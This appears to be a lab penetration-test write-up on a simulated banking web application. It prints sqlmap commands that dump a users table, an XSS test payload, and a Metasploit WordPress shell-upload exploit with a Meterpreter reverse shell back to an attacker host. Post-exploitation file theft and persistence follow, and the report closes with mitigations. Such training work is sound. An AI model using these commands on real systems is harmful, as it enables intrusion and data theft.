Penetration Testing of a Banking Web Application using Metasploit and Nessus

This report outlines the process of performing a penetration test on a simulated vulnerable banking web application. The testing involved identifying and exploiting web vulnerabilities using open-source security tools: **Nessus**, **sqlmap**, and the **Metasploit Framework**. The main goal was to demonstrate how real-world security flaws—such as SQL injection and cross-site scripting—can be exploited to gain unauthorized access, and how to recommend appropriate mitigations.

Environment Setup

- **Attacking Machine**: Kali Linux (hosted in VirtualBox)
- **Target Machine**: Metasploitable 2 and Bitnami WordPress VM
- **Network Mode**: Host-only / NAT Network
- **Tools Used**:
    - **Nessus** – for vulnerability scanning
    - **sqlmap** – for SQL injection exploitation
    - **Metasploit Framework** – for remote code execution

Vulnerability Assessment with Nessus

The Nessus vulnerability scanner was used to analyze the exposed web server. Several critical vulnerabilities were discovered:

- **SQL Injection**
- **Cross-Site Scripting (XSS)**
- **Outdated WordPress software**
- **Unpatched plugins**

Exploitation Phase

1. SQL Injection (SQLi)

Tool Used: sqlmap

Steps:

Identified vulnerable parameter using:

```
 sqlmap -u "http://target-site.com/page.php?id=1" --dbs
```

-

Extracted database structure:

```
 sqlmap -u "http://target-site.com/page.php?id=1" -D bank_db --tables
```

-

Dumped sensitive data:

```
 sqlmap -u "http://target-site.com/page.php?id=1" -D bank_db -T users --dump
```

-

2. Cross-Site Scripting (XSS)

Tested input fields using payload:

```
 <script>alert('XSS')</script>
```

-
- Verified that scripts executed in the browser context.
- Simulated cookie theft and session hijacking potential.

3. Metasploit Exploitation

- Exploit used: vulnerable WordPress plugin

Commands:

```
 msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS <target-ip>
set TARGETURI /wp-content/plugins/plugin-name/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <attacker-ip>
set LPORT 4444
exploit
```

- Gained a reverse shell with full system access.

Post-Exploitation Activities

- Ran `sysinfo` to gather system details
- Used `download` to retrieve sensitive files
- Maintained persistence using Meterpreter sessions

Security Recommendations

- Apply input validation and parameterized queries to prevent SQLi
- Sanitize and encode all user input to prevent XSS
- Regularly update web servers, CMS, and plugins
- Run vulnerability scans frequently
- Enable firewall and intrusion detection

Conclusion

This simulated penetration test demonstrated how attackers can identify and exploit common vulnerabilities in web applications. By combining vulnerability scanning, automated attack tools, and manual testing, it is possible to simulate a full exploitation chain that leads to system compromise. The exercise highlights the importance of proactive defense, regular patching, and strong input validation in protecting web assets.